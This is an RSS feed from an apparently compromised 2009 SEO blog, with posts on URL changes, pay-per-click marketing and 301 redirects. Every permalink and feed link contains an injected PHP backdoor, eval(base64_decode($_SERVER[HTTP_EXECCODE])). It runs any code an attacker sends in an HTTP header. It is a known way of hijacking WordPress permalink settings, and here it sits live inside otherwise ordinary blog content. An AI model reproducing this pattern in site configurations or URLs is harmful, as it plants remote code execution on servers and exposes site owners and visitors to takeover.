Search Engine Webmaster Resources » Search Engine Optimization http://blog.mobida2.com A Resource by mobida2 Inc. Advertising Networks Sat, 19 Dec 2009 19:05:29 +0000 http://wordpress.org/?v=2.8 en hourly 1 Changing URL of Website or Webpage – Evaluate your Website Ranking in Search Engines First http://blog.mobida2.com/2009/08/17/changing-url-of-website-redirect301/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.mobida2.com/2009/08/17/changing-url-of-website-redirect301/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Mon, 17 Aug 2009 00:14:44 +0000 http://blog.mobida2.com/?p=33 While redesigning a website or if you are modifying some strcture of your website, try to avoid to change the URLs or domain URL. Incase if you change the URL structure, there is no way to get back the Ranking of your webpage for your keywords (or keyword phrase) in search engine. There are expert advise you to do redirect 301 or 404 to handle old URLs but this is even not a right process.

Before implementing new structure think and plan well otherwise you will loose your all previous credibility in the search engines for your high rank page/pages. All back links pointing to your site and all your hardwork to maintain authoritative links will be drain. Even Google mentions that it take time to transfer the page authority and you need to keep the old site parallel for 180 days. http://www.google.com/support/webmasters/bin/answer.py?answer=83105&hl=en

 Read the above Google Guidelines before implementing the change of URL. Even if you take expert advise in the changing the URL, there is no one who can answer you the definit solution.

Whenever, you are planning to rewamping the site design or some navigation, the design companies and web development companies will advise you to change the domain name or the URL structure, Before you act on their advise, You need to evaluate your past hardwork in building the Website credibility in the search engine. Here You are the only one can make the right decision to implement the changes for URL or not.

If once you loose the page rank in Google, it will take you months or more to rebuild the credibility again. Read this http://www.webmasterworld.com/google/3957557.htm, I would suggest here if your clients are inclined to adopt a new domain name or interested to implement a new structure of their website, as an honest SEO you must advise them

  • Clearly elaborate the risk element involved in changing the URL
  • Make sure your client has understand the risk involved and he has got enough knowledge to handle the on going issues.
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]]> http://blog.mobida2.com/2009/08/17/changing-url-of-website-redirect301/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 0 Pay Per Click Marketing http://blog.mobida2.com/2009/07/25/pay-per-click-marketing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.mobida2.com/2009/07/25/pay-per-click-marketing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Sat, 25 Jul 2009 02:46:46 +0000 http://blog.mobida2.com/?p=26 Internet Marketing, Access to Potential Customers, Every one has a budget to keep a balance in investments and profitss. Advertising activities for a website promotion or advertising a business online, there must be a constraint of budget. To keep the balance in the budget and earning, we need to keep our website well optimized for organic search results. There is no compromise on loosing a potential customer when you are hunting them via Pay Per Click Marketing and start loosing them as you are out of budget. You need to be very balanced in keeping your website well optimized for the organic search results.

Paid Marketing (Pay Per Click Marketing) has it’s immediate affect on the results, while as we know organic searches are long term and time consuming process. Anyways, When we are talking about the pay per click marketing it is important to roll up your sleeves and get focused.

Pay Per Click Marketing Platforms

Various platform, varoius technologies and with entirely diffrent networks of clients, There are Paid Marketing Providers, like Google Adwords, Bing (newly launched, before microsoft), Yahoo Search, MIVA, Ad knowledge. Social Media Pay Per click networks like Facebbok, MySpace, LinkedIn, Free source of marketing through Microbolgging Advertising like twitter, frienfeed, identi.ca, spoink,

Pay Per Click Marketing has sponteneous results, search engine presence — organic SEO can take months to kick in, PPC Great for seasonal items and time-sensitive promotions, Great for sites having a hard time getting SEO listings, Great for new sites to get traffic, Great for sites with “spider traps” (sites that are hard for spiders to index), Sometimes an easier sell to management because concept is similar to traditional advertising, Easy to track measures of success, Great for testing (keywords, marketing messages, site design, etc.). Everythin

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]]> http://blog.mobida2.com/2009/07/25/pay-per-click-marketing/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3 How to notify to Search Engines-Change of URL – 301 reDirect http://blog.mobida2.com/2009/07/14/how-to-notify-to-search-engines-change-of-url-301-direct/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ http://blog.mobida2.com/2009/07/14/how-to-notify-to-search-engines-change-of-url-301-direct/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments Tue, 14 Jul 2009 00:08:26 +0000 http://blog.mobida2.com/?p=18 Search Engine Optimization is a smooth operation for streamlining the information transition to the Search Engines from your website. There are many reasons when you need to use the Direct 301 Http command to instruct search engines regarding the change in URL. usually you need reDirect 301 when

  • Change of Hosting Provider
  • Change of URL
  • Website access by many URL
  • Change of URL of a single page
  • Long URL of a page need to be shorten
  • Broken Links towards your website
  • Broken Links from your own website

There are 2 stages to implements the redirect, one is server side implementation and the other is .htaccess file.

Resources and References:
Google Blog

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]]> http://blog.mobida2.com/2009/07/14/how-to-notify-to-search-engines-change-of-url-301-direct/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/ 3